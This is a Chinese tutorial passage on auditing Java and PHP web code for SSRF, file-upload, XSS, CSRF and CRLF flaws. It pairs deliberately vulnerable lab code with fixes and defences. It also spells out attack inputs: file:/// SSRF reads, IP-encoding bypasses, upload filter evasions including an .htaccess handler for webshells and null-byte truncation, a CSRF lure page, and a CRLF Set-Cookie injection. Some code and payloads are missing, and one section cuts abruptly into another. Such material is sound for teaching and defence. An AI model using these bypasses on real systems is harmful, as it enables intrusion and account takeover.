现代应用程序本质上通常是分布式的,并且已经开始更多地依赖云服务。尽管这使得应用程序的开发、测试和故障排除很方便,但它增加了体系结构的复杂性并增加了挑战。其中一个挑战是确保应用程序的不同组件有足够的访问权限,以顺利地执行它们的功能。但是当我们不考虑这种访问的范围和可能的威胁时,它可能会导致服务器端请求伪造漏洞。

服务器端请求伪造是一种web应用程序漏洞,它允许攻击者向应用程序组件发送格式错误的请求,或与外部任意系统通信。

通常,应用程序的内部组件的配置方式是外界无法访问的。例如,防火墙后的服务器或只能从堡垒主机访问的服务器。因此,攻击者可以滥用SSRF漏洞来攻击应用程序的内部组件。

2、SSRF漏洞原理

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

例如用户可以从本地或者URL的方式获取图片资源,交给百度识图处理。如果提交的是URL地址,该应用就会通过URL寻找图片资源。如果用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤 ,就可能存在“请求伪造”的缺陷。

Java网络请求中常见的几种协议:

file、ftp、http、https、jar、mailto、netdoc 

3、SSRF漏洞危害

1)端口扫描。

2)内网Web应用指纹识别。

3)攻击内网Web应用

4)敏感数据泄露或加密失败。

5)任意代码执行 ( ACE )。

6)诱导不存在的漏洞在以后利用。

7)获取有关应用程序内部架构的信息。

在某些情况下,SSRF漏洞还可能导致应用程序被完全接管。一次成功的SSRF攻击可能导致业务上的影响、面临诉讼、声誉损害等。

4、SSRF PHP代码审计

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取 的函数。以PHP为例,涉及到的函数有:

  1. file_get_contents():是把文件写入字符串 ,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致文件读取。

  2. fsockopen():fsockopen是打开一个网络连接或者Unix套接字连接。

  3. curl_exec():利用方式很多,最常见的是通过file、dict、 gopher 这三个协议来进行渗透。

1、file_get_contents()

这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。

"; 
}
echo $img;
?>

2、fsockopen()

这段代码使用 fsockopen 函数实现获取用户制定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。

3、curl_exec()

使用 curl 获取数据。

4、利用 SSRF 进行端口扫描

根据服务器的返回信息进行判断,大部分应用不会判别端口,可通过返回的 banner 信息判断端口状态。

PHP后端代码:

html前端代码:



  

请求非 HTTP 的端口可以返回 banner 信息。或可利用 302 跳转绕过 HTTP 协议的限制。

辅助脚本:

5、SSRF Java代码审计

关键词:

URLConnection、openConnection、openStream

1. urlConnection/vul

使用file:///协议读取本地文件(或其他协议)

http://localhost:8080/ssrf/urlConnection/vuln?url=file:///c:/wind ows/win.ini

这里调用的是HttpUtils.URLConnection(url):

public String URLConnectionVuln(String url) {
    return HttpUtils.URLConnection(url);
}

而URLConnection里又调用了URL.openConnection()来发起请求,这个请求可以直接执行url协议(伪协议):

public static String URLConnection(String url) {
    try {
        URL u = new URL(url); 
        URLConnection urlConnection = u.openConnection();
    BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
// BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream( )));
    String inputLine;
    StringBuilder html = new StringBuilder();

    while ((inputLine = in.readLine()) != null) {
        html.append(inputLine); 
    }
    in.close();
    return html.toString();
  } catch (Exception e) {
    logger.error(e.getMessage()); 
    return e.getMessage();
    }
}

2. urlConnection/sec(修复方法)

访问url为:

http://localhost:8080/ssrf/urlConnection/sec?url=htt p://baidu.com

这里先是对url调用了SecurityUtil.isHttp()来进行检查:

public String URLConnectionSec(String url) {
    // Decline not http/https protocol     
    if (!SecurityUtil.isHttp(url)) {
        return "[-] SSRF check failed";    
    }
    try {
        SecurityUtil.startSSRFHook();
        return HttpUtils.URLConnection(url);
    } catch (SSRFException | IOException e) {
return e.getMessage();
    } finally {
    SecurityUtil.stopSSRFHook();
    }
}

SecurityUtil.isHttp()比较简单,就是判断url是否是以http://或https://开头。

public static boolean isHttp(String url) {
    return url.startsWith("http://") || url.startsWith("https://");
}

单纯的ban掉其他协议显然是不够的,还不能够防止对内网进行探测,于是在获取url内容之前,开启了一个hook来对用户行为进行监听,SecurityUtil.startSSRFHook(),就有效防止了ssrf攻击。

3. openStream

openStream()方法的实现也是调用了 openConnection生成一个 URLConnection 对象,然后再通过这个对象调用的 getInputStream()方法的访问url为:

http://localhost:8080/ssrf/openStream?url=file:///c:/windows/win.ini

通过WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url)来获取下载文件名然后执行如下代码:

URL u = new URL(url);
inputStream = u.openStream()

来看一下openStream(),也是调用了openConnection(),也会根据传入的协议的不同来进行处理。

public final InputStream openStream() throws java.io.IOException {
    return openConnection().getInputStream();
}

由此可以得知,同样也可以进行ssrf来探测内网以及文件下载。

修复方案同上。

6、SSRF绕过

1. 更改 IP 地址写法

例如:192.168.0.1

8 进制格式:0300.0250.0.1

16 进制格式:0xC0.0xA8.0.1

10 进制整数格式:3232235521

16 进制整数格式:0xC0A80001

还有一种特殊的省略模式,例如10.0.0.1这个 IP 可以写成10.1

2. 利用 URL 解析问题

在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。

例如:

http://[email protected]/与http://192.168.0.1请求的都是192.168.0.1内容

可以指向任意 ip 的域名xip.io:http://127.0.0.1.xip.io/==>http://127.0.0.1/

短地址http://dwz.cn/11SMa==>http://127.0.0.1

利用句号。:127。0。0。1==>127.0.0.1

利用 Enclosed alphanumerics

7、SSRF 漏洞防御

能够对外发起网络请求的地方,就可能存在 SSRF 漏洞:

从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)

数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)

Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)

文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

具体场景:

1. 分享:通过URL地址分享网页内容

2. 转码服务

3. 在线翻译

4. 图片加载与下载:通过URL地址加载或下载图片

5. 图片、文章收藏功能

6. 未公开的Api实现以及其它调用URL的功能

7. 从URL关键字中寻找:

share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURl
domain

防御姿势:

  • 禁用不需要的协议。仅仅允许 http 和 https 请求。可以防止类似于 file:///,gopher://,ftp:// 等引起的问题

  • 设置白名单 ,或限制内网IP ,以防止对内网进行攻击

  • 禁止30x跳转

  • 统一错误信息来屏蔽返回的详细信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

  • 限制请求的端口为 http 常用的端口,比如,80,443,8080,8090

  • 服务端需要鉴权(Cookies & User:Pass)不能完美利用

  • 服务器开启 OpenSSL 无法进行交互利用

七、文件上传漏洞

1、文件上传漏洞简介

文件长传漏洞是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马、病毒、恶意脚本或这Webshell等。

文件上传漏洞条件

  • 上传的文件能被Web服务器当做脚本来执行
  • 我们能够访问到上传文件的路径

服务器上传文件命名规则

  • 第一种:上传文件名和服务器命名一致
  • 第二种:上传文件名和服务器命名不一致(随机、时间日期命名等),但是后缀一致
  • 第三种:上传文件名和服务器命名不一致(随机、时间日期命名等),后缀也不一致

漏洞成因

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。

一般我们会利用文件上传漏洞上传一句话木马,然后菜刀连接过去webshell。要想获取webshell,必需让我们上传的文件当成脚本文件执行,所以文件上传漏洞通常会和文件包含漏洞和文件解析漏洞一起利用。

POST /DVWA/vulnerabilities/upload/ HTTP/1.1

Host: 127.0.0.1

Content-Length: 5108

Cache-Control: max-age=0

Origin: http://127.0.0.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJUcYpiAjyVAzt5yA

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: http://127.0.0.1/DVWA/vulnerabilities/upload/

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.8

Cookie: security=low; PHPSESSID=plp6nm81is9eotcvfo3td8thp4

Connection: close

 

------WebKitFormBoundaryJUcYpiAjyVAzt5yA

Content-Disposition: form-data; name="MAX_FILE_SIZE"

 

100000

------WebKitFormBoundaryJUcYpiAjyVAzt5yA

Content-Disposition: form-data; name="uploaded"; filename="timg.jpg"

Content-Type: image/jpeg


------WebKitFormBoundaryJUcYpiAjyVAzt5yA

Content-Disposition: form-data; name="Upload"

 

Upload

------WebKitFormBoundaryJUcYpiAjyVAzt5yA--

其实对于整个HTTP请求包来说,所有内容都是用户可控的,只是请求包中的几个点有可能是后台服务器的检测重点,在上面的请求内容中,加粗加大的红色字体为可能的后台检测重点,主要有几处:

  1. Content-Length,即上传内容大小

  2. MAX_FILE_SIZE,即上传内容的最大长度

  3. filename,即上传文件名

  4. Content-Type,即上传文件类型

  5. 请求包中的乱码字段,即是所上传文件的内容

  6. 有可能存在请求包中的可控点还有上传路径,只是上面的示例中没有出现

2、文件上传Java代码审计

访问url为http://localhost:8080/file/any,直接对上传的文件保存在了指定路径下:

@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,RedirectAttributes redirectAttributes) {
        if (file.isEmpty()) {
        // 赋值给uploadStatus.html里的动态参数message
    redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
    return "redirect:/file/status";
        }
        try {
        // Get the file and save it somewhere byte[] bytes = file.getBytes();
        Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
        Files.write(path, bytes);
         redirectAttributes.addFlashAttribute("message","You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");
        } catch (IOException e)
     redirectAttributes.addFlashAttribute("message", "upload failed");
     logger.error(e.toString());
    }
   return "redirect:/file/status";
}

没有任何的后缀名及内容过滤,可以上传任意的恶意文件。

在这里上传目录在/tmp下,同时文件的写入时用的Files.write(path, bytes),这里的path就是保存的路径,由于是保存的目录/tmp直接拼接了文件名,就可以在文件名中利用../来达到目录穿越的目的,从而将任意文件保存在任意目录下。

pic

限制只能上传图片,同时进行了多重验证。

对文件后缀名进行白名单限制,只能为白名单中的图片后缀名。 AAA.JSP.PNG

String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
        if (Suffix.toLowerCase().equals(white_suffix)) {
        suffixFlag = true; 
        break;
    }
}

对MIME类型进行了黑名单限制,不过这个可以进行抓包修改绕过。

String[] mimeTypeBlackList = {
    "text/html",
    "text/javascript",
    "application/javascript",     "application/ecmascript",     "text/xml",
    "application/xml"
           };
for (String blackMimeType : mimeTypeBlackList) {
    // 用contains是为了防止text/html;charset=UTF-8绕过     
    if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCas e().contains(blackMimeType)) {
        logger.error("[-] Mime type error: " + mimeType);
        deleteFile(filePath);
        return "Upload failed. Illeagl picture.";
    }
}

文件保存的时候路径是通过 来获取,Path path = excelFile.toPath();就避免了路径穿越的实现。

File excelFile = convert(multifile);//文件名字做了uuid处理
String filePath = excelFile.getPath(); // 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile); if (!isImageFlag) {
    logger.error("[-] File is not Image"); 
    deleteFile(filePath);
    return "Upload failed. Illeagl picture.";
}

判断上传的文件是否为图片,通过ImageIO.read对文件进行读取来判断。
 

private static boolean isImage(File file) throws IOException {
    BufferedImage bi = ImageIO.read(file);    
    return bi != null;
}

3、文件上传过滤方式

1. 客户端JavaScript检验(一般只检验文件的扩展名)

应用程序在前端使用JavaScript检测上传文件的扩展名。

绕过方式:

1、直接禁用本地js,不让其做检测.

2、抓包,修改文件后缀名类型,绕过检测限制。

2. 服务端后端检测

(1)文件类型content-type字段校验

MIME的作用:使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

绕过思路:抓包,将Content-Type修改为服务端允许的类型。

(2)文件头类型检测

这个检测是利用getimagesize()函数来检测上传内容是否为图像以及图像大小。

文件头就是文件特定的标志,如二进制PE文件的4D5A,bmp文件的424D,zip文件的504B0304,各种常见文件的文件头类型大家可以查找了解一下,常见图片文件头如下:

gif: GIF89a

jpg,jpeg: FF D8 FF

png: 89 50 4E 47 0D 0A

绕过思路:上传木马恶意文件时,先使用编辑工具在数据最前面添加图片的文件头进行伪造,即可绕过。

(3)服务端文件扩展名检测

文件提交到后端,后端的函数对上传文件的后缀名进行检测,比如黑名单检测不允许上传.php、.asp后缀名格式的文件;白名单检测只允许上传.jpg格式的文件。

1、文件名大小写绕过(AsP, pHp等等)

2、黑白名单列表绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、

ashx、cer、asa、jsp、jspx)cdx,

3、特殊文件名绕过

修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于

这种命名格式在windows系统里是不允许的。所以在绕过上传之后windows系统

会自动去掉 点和空格。Unix/Linux系统没有这个特性。

4、0x00截断绕过

5、.htaccess文件攻击(结合黑名单攻击)

主要介绍第五种绕过办法:

.htaccess文件攻击:

如果Web服务器是Apache且黑名单没有对.htaccess做限制,那么可以上传.htaccess配置文件到目录中覆盖Apache的设置,可以通过配置执行webshell。

.htaccess文件攻击即结合黑名单攻击服务器的 .htaccess文件 。通过move_uploaded_file函数把自己写的 .htaccess文件覆盖掉服务器上的,这样就可以解析定义名单了。

.htaccess文件用处:

通过.htaccess文件调用php解释器去解析一个文件名中只要包含“haha”这个字符串的任意文件,无论你文件名是什么样子,只要包含”haha”这个字符串,都可以被以php的方式来解析。

.htaccess文件内容:


SetHandler application/x-httpd-php

黑名单绕过思路:可以从服务器的解析特性进行分析,如特殊可解析后缀php3,php7,phtml,jspx等 如特殊的解析方式陌生后缀名,带换行后缀名,双后缀名等解析差异造成的漏洞。 还可以从混淆方面出发,后缀名大小写,点绕过,空格绕过,以及上传.htaccess配置控制文件权限和::$DATA数据流的使用

白名单绕过思路:MIME绕过,修改文件类型为白名单可接受的类型,以及%00,0x00截断绕过,这种场景针对save_path可控。

00截断原理其实很巧妙,利用场景是文件保存路径可控,这样一来我们上传的文件符合白名单就行,真正动手的地方在文件保存路径出,可以放上自己的webshell文件,然后在webshell文件后面添加%00,或0x00,再加一些字符,这样一来,系统在解析碰到00就会截断,后面字符就不起作用,只剩下前面的webshell文件名,就可以在url中进行访问了。%00和0x00的使用区别在于提交get请求时,是%00,会进行url自动解码动作,然后进入验证函数。0x00则是post请求直接进入验证函数。

(3)服务端文件内容检测

比较厉害的防护检测,就是针对内容做检测,这种防护能力比较强,但也不是不能绕过。自始至终,攻防都是在对抗中螺旋演进的。

这种检测防护基本都是从webshell具有的代表性敏感字符?或者危险敏感函数。

绕过思路:从特殊敏感字符开始进行Fuzz测试,探测webshell中有多少必要的字符存在被替换,如果构成webshell执行的字符

被替换得较多,剩下未过滤的字符的难以支撑webshell执行,可以换个角度利用系统,调用脚本语言,如,测试是否触发弹窗。回车可以看到弹出窗口,说明网站后台未对输入参数进行过滤,存在xss漏洞。 

Java代码审计详解_第69张图片

(5)我们右键网页,点击查看源码,如下。由于该网页没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。 





欢迎来到level1



欢迎来到level1

欢迎用户

payload的长度:29

2)存储型XSS漏洞验证实例

存储型XSS漏洞常存在于数据库内容中,如留言板等。此处利用之前搭建的论坛网站的留言功能作为实验平台,该平台的搭建过程参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》。具体过程如下:

(1)我们登录访问上述网站,使用我们之前住过的账号a,密码1。登录后返回首页,点击“我要留言”。

Java代码审计详解_第70张图片

(2)使用留言功能,留下如下的内容:。点击提交 

Java代码审计详解_第71张图片

(3)再次返回首页,可以看到刚刚留下的留言。 

Java代码审计详解_第72张图片

(4)点击该留言,出现弹窗,这就是存储型XSS漏洞。 

Java代码审计详解_第73张图片

(5)右键该页面,查看网页源码,如下。我们看到因为我们搭建的平台没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。 




留言论坛


留言内容

返回首页
a:存储型xss

3)DOM型XSS漏洞验证实例

我们将以下代码存在phpstudy网站的根目录下的DOM-XSS.php文件中,稍后进行测试。该代码中的script标签内的内容意思是,定义一个变量a并赋值为URL,为a解码,将message=后面的内容写入到DOM树中。



	DOM-XSS
	







(1)我们通过浏览器访问该网页,因为我们还没有给URL传递参数message,此处将内容以存文本的形式输出。
Java代码审计详解_第74张图片

解析为什么页面这样显示:

  • a此处为http://172.16.1.1/DOM-XSS.php;
  • document.write(a.substring(a.indexOf(“message=”)+8,a.length));
    ①a为变量也即为对象,对象的访问为[对象名称.属性];
    ②a.indexOf(“message=”)是指message=开始出现时的起始位置,此处没有message=,即为0;
    ③a.indexOf(“message=”)+8:即为8;
    ④a.substring(a.indexOf(“message=”)+8,a.length):取截取a的值为字符串,即"http://172.16.1.1/DOM-XSS.php",从第8位开始,截取a的长度个字符;

(2)修改参数为?message=good,回车时页面显示good。

 Java代码审计详解_第75张图片

(3)修改参数为?message=,回车时则出现弹窗。

Java代码审计详解_第76张图片

(4)我们右键查看源代码,发现代码与刚刚编写的一致,并没有弹窗的内容。

Java代码审计详解_第77张图片

(5)审查网页元素,则可以看到DOM树这里多出了个弹窗内容,就是上述document语句修改生成的。(有的浏览器查看结果有区别,可以试试不同浏览器的解析结果)

修改DOM树,浏览器重新渲染页面:

(6)修改参数为#message=,回车时也出现弹窗。#后面内容为锚点,锚点内容不会提交到服务器。 

Java代码审计详解_第78张图片

5、XSS漏洞Java代码审计

1)反射型xss

为了让我们方便理解,作者这里没有使用其他花里胡哨的html页面。

@RequestMapping("/reflect")
@ResponseBody
public static String reflect(String xss) {
    return xss;
}

 payload:

xss=
xss=  
xss=   

return将这个变量返回到html,导致了XSS漏洞,可以看到最后执行了js代码,实现了弹窗。 

说明:

POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞验证的代码。

EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的工具,即从漏洞检测验证到利用的工具。

Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。

Shellcode:简单翻译 ’ shell代码 ',利用漏洞时所执行的代码,是Payload的一种。Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。

(1)POC与EXP对比

POC是用来验证漏洞存在的,EXP是用来完整利用漏洞(包括从验证到利用全过程)的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。

(2)Payload与Shellcode

Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。

(3)Payload与EXP

同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。

(4)Payload模块

在Metasploit Framework 6大模块中有一个Payload模块,在该模块下有Single、Stager、Stages这三种类型,Single是一个all-in-one的Payload,不依赖其他的文件,所以它的体积会比较大,Stager主要用于当目标计算机的内存有限时,可以先传输一个较小的Stager用于建立连接,Stages指利用Stager建立的连接下载后续的Payload。Stager和Stages都有多种类型,适用于不同场景。

2)存储型xss

攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。

@RequestMapping("/stored/store")
@ResponseBody
public String store(String xss, HttpServletResponse response) {
    Cookie cookie = new Cookie("xss", xss);     
    response.addCookie(cookie);
    return "Set param into cookie";
}
@RequestMapping("/stored/show")
@ResponseBody
public String show(@CookieValue("xss") String xss) {
    return xss;
}

store方法将输入的便xss,存放在cookie里。 show方法将获得的cookie返回到页面。

payload:

xss=

xss的利用手段主要是网络蠕虫攻击和窃取用户cookie信息。xss蠕虫通过漏洞点嵌入恶意的js代码,执行代码后,就会添加带有恶意代码的页面或DOM元素,从而进行传播。
而如果盗取cookie信息,常见的就是进行跨域请求的问题。

3)漏洞修复

@RequestMapping("/safe")
@ResponseBody
public static String safe(String xss) {
    return encode(xss);
}

private static String encode(String origin) {
    origin = StringUtils.replace(origin, "&", "&");
    origin = StringUtils.replace(origin, "<", "<");
    origin = StringUtils.replace(origin, ">", ">");
    origin = StringUtils.replace(origin, "\"", """);
    origin = StringUtils.replace(origin, "'", "'");
    origin = StringUtils.replace(origin, "/", "/");
    return origin;
}

//或者把半角转化为全角
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
origin = StringUtils.replace(origin, "\"", "\");
origin = StringUtils.replace(origin, "'", "'");
origin = StringUtils.replace(origin, "/", "/");

以上就是通过字符转义的方法进行过滤,基本上杜绝了xss漏洞。但如果少写一个,可能就会被利用绕过。

九、CSRF漏洞审计及修复

1、CSRF漏洞介绍

CSRF是指利用受害者尚未失效的身份认证信息( cookie、会话等信息),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向服务器发送请求,从而完成非法操作(如转账、改密、信息修改等操作)。

攻击者盗用了你的身份伪造一个请求,用户一旦点击了这个请求,整个攻击也就完成了。

CSRF通常的攻击方式:以你的名义发送邮件、消息、购买商品、转账、盗取账号信息等。

Java代码审计详解_第79张图片

比如现在有个用户victim需要登录一个购物网站,正常情况下,victim登陆(获取后台权限)后,如果他编辑好了修改的内容,点击提交就可以完成victim的信息的修改,例如:

http://nathanhauk.com?name=victim&sex=男&phone=xxx&emial=xxx&money=100

比如Badguy,想要修改victim的个人信息,应该怎么操作?我该考虑怎么伪造victim的身份:

首先,我在该网站上注册一个账号,等用户victim登陆到正常网站以后再进行攻击;

我需要引诱victim登陆状态的时候点击我伪造的链接;(这里有各种手段,比如点击劫持,微信链接,不良网站),对应途中步骤1;

victim点击伪造链接的时候,恶意的站点会给他返回一个页面,这个页面构造了一个隐藏的表单并且有个自执行的JavaScript代码发送post请求(当然这个页面可以是让用户输可以输入信息的页面,在这里我举的例子是用户不能输入的情况),可以伪造任意的用户信息来发给正常的服务器器,对应途中步骤2、3、4,攻击成功了,然而对于用户来说,他只不过是看到了浏览器闪了一下,就跳转到正常页面了,如果网速和电脑都很高端的情况下,用户察觉不到自己跳转了那一下,而实际上你的钱已经被转走了;

也就是受害者发的请求就是:http://nathanhauk.com?name=badGuy&sex=男&phone=xxx&emial=xxx&money=99999

我就收到victim的转账了。

思考:为什么我的攻击可以成功?

条件1: 购物网站没有对个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造。因此我们判断一个网站是否存在CSRF漏洞的时候,就是判断这个网站对其关键信息(比如密码等信息)的操作(增删改查)是否容易被伪造。

条件2:victim在登陆了后台的情况下,点击了我发送给他的伪造的链接 。

CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用,而xss是直接盗取到了用户的权限。

2、CSRF类型

1)get请求型CSRF:

只需要构造URL,然后诱导受害者访问利用。

2)POST请求型CSRF:

构造自动提交的表单,诱导受惠者访问或者点击。

3、如何确认web系统存在 csrf 漏洞

1. 对目标网站增删改查的地方进行研究,判断请求是否可以被伪造。

例如:对敏感信息没有使用安全的token验证;或者修改账号时候不需要验证旧密码导致请求被伪造。

2. 确认凭证的有效期(会提高csrf被利用的概率)。

例如:虽然关闭了浏览器,但是cookie仍然有效,或者session没有及时过期导致csrf攻击变得容易。

4、CSRF漏洞危害

以受害者的名义发送邮件、发消息、盗取受害者的账号,甚至购买商品、虚拟货币转账、修改受害者的网络配置(比如修改路由器DNS、重置路由器密码)等等操作。造成的问题包括:个人隐私的泄露、机密资料的泄露、用户甚至企业的财产安全;

一句话概括CSRF的危害:盗用受害者的身份,受害者能做什么,攻击者就能以受害者的身份做什么。

5、CSRF漏洞利用案例

寻找有权限进行增删改查操作的功能点:比如修改密码、修改个人信息等等,通过burp构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行。

1. 使用burpsuite中的engagement tools的generate CSRF poc模块

抓包拦截浏览器访问页面的请求信息,在请求页面中点击鼠标右键,选择Generate CSRF POC模块:

Java代码审计详解_第80张图片

在构造好了的攻击脚本中,可以将value的值修改成的自定义密码:

Java代码审计详解_第81张图片

点击 Test in browser。

然后点击“copy”:

然后用代理burpsuite的浏览器打开: 

Java代码审计详解_第82张图片

点击“submit request”即可成功修改密码: 

Java代码审计详解_第83张图片

Copy HTML 一般用于攻击其他人,复制下代码保存为HTML文档。

可以简单修改个中奖页面,诱惑受害者点击:

Java代码审计详解_第84张图片

Java代码审计详解_第85张图片

点击领奖成功修改密码:

Java代码审计详解_第86张图片

2. CSRFTester

下载地址: https://www.owasp.org/index.php/File:CSRFTester-1.0.zip

Java代码审计详解_第87张图片

下载后点击run.bat: 

Java代码审计详解_第88张图片

正常打开,并监听8008端口,需要把浏览器代理设置为8008:

Java代码审计详解_第89张图片

点击Start Recording,开启CSRFTester检测工作,我们这里抓添加管理员的数据包:

Java代码审计详解_第90张图片

然后右击删除没用的数据包: 

Java代码审计详解_第91张图片

点击Generate HTML生成CSRF攻击脚本,我们这次添加test1账号: 

Java代码审计详解_第92张图片

Java代码审计详解_第93张图片

打开此文件,成功添加账号:

Java代码审计详解_第94张图片

6、CSRF漏洞Java代码审计

1)GET型

利用十分简单,构造一个IMG标签,加载的时候即可发送一个恶意get请求(可以和xss联合使用,也可以是有钓鱼,诱骗的方式让其点击get请求链接)

 

2)POST型

controller/CSRF.java:

@GetMapping("/") 
public String index() {
    return "form";
}
@PostMapping("/post") 
@ResponseBody
public String post() {
    return "CSRF passed.";
}

前端提交数据页面:

       
   

不提交token验证上面防护。

这个字段就是用来表单提交,POST请求验证的csrf_token,后端生成的,提交后会和后端校验。如果我们直接通过POSTMAN或者其他post请求,缺少了csrf的token是无法完成的。如图:

Java代码审计详解_第95张图片

7、CSRF漏洞修复建议

1)token随机值防御

在请求地址中添加token并验证。

CSRF之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存储在cookie中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的cookie来通过验证。

要低于CSRF,关键在于在请求中放入和黑客所不能伪造的信息,并且该信息不存在于cookie中。可以在http请求中以参数的形式加入一个随机产生的token,并且在服务器端建立一个拦截器来验证这个token值,如果请求中没有token值或者token不正确,则可以认为可能是CSRF攻击而拒绝请求。

2)ANti CSRF token校验

csrf攻击能够成功就是黑客可以完全伪造用户请求,也就是cookie,所以就需要token验证方式,如下图:

Java代码审计详解_第96张图片

  • 在form表单或头信息中传递token,每次请求都要带上token;
  • token存储在服务端,每次请求验证完毕都会更新一个token,而不像cookie-session验证方式;
  • 服务端通过拦截器验证请求有效性;
  • 校验失败的拒绝请求。

2)referer值校验

增加HTTP referer的校验。

根据http协议,在http头部中有一个字段叫referer,它记录了该http请求的来源地址。如果referer记录的不是同一个浏览器的请求,那么久可能是攻击者伪造的恶意链接,可以根据此方法来防范CSRF攻击。

3)加入验证码

在某一次提交的时候给出验证码,确保是用户的操作而不是伪造出来的请求。

4)尽量使用POST

增加csrf攻击的成本,不能完全防御,只能降低风险。

5)加入自定义Header

和ANti CSRF token方法类似,审计html、jsp等前端页面,在提交表单时对token、header等隐藏属性进行验证。

十、CRLF漏洞审计及修复

1、CRLF漏洞简介

RLF是”回车+换行”(\r\n)(编码后是%0D%0A)的简称,在HTTP中,HTTP Header和HTTP  Body是用两个CRLF来分割的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。

键盘上的回车键(Enter)就可以执行该操作。但是不同的操作系统,行的结束符是不一样的:

Windows:使用CRLF表示行的结束
Linux/Unix:使用LF表示行的结束
MacOS:早期使用CR表示,现在好像也用LF表示行的结束

同一文件在不同操作系统中打开,内容格式可能会出现差异,这是行结束符不一致导致的。

所以,一旦我们能够控制HTTP  消息头中的字符,但是如果对输入过滤不严,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,将恶意语句注入到http请求数据包中,所以CRLF Injection又叫HTTP  Response  Splitting,简称HRS。

Java代码审计详解_第97张图片

CRLF漏洞可以造成Cookie会话固定和反射型XSS(可过waf)的危害,注入XSS的利用方式:连续使用两次%0d%oa就会造成header和body之间的分离,就可以在其中插入xss代码形成反射型xss漏洞。

2、CRLF注入漏洞危害

1. Cookie会话固定
2. 反射性XSS攻击(可过WAF)

3、CRLF漏洞利用

1. Cooki会话固定

步骤一:在URL参数中构造%0d%0aSet-Cookie:crlf=ture

Java代码审计详解_第98张图片

步骤二:查看HTTP响应包,发现HTTP响应头存在了Set-Cookie:crlf=true :

Java代码审计详解_第99张图片

查看源代码发现:当服务端对用户的输入不进行过滤和排查时,$_GET变量接受的URL会直接作为响应头中的Location字段返回,同时又因为我们在请求的URL中添加了一个CRLF,所以返回的响应头中会存在我们构造的Set-Cookie:crlf=ture参数。

Java代码审计详解_第100张图片

2. 反射性XSS攻击

如果此时我们在URL中将%0d%0aSet-Cookie:crlf=ture修改为%0d%0a,那么服务端返回界面将会如下图:

Java代码审计详解_第101张图片

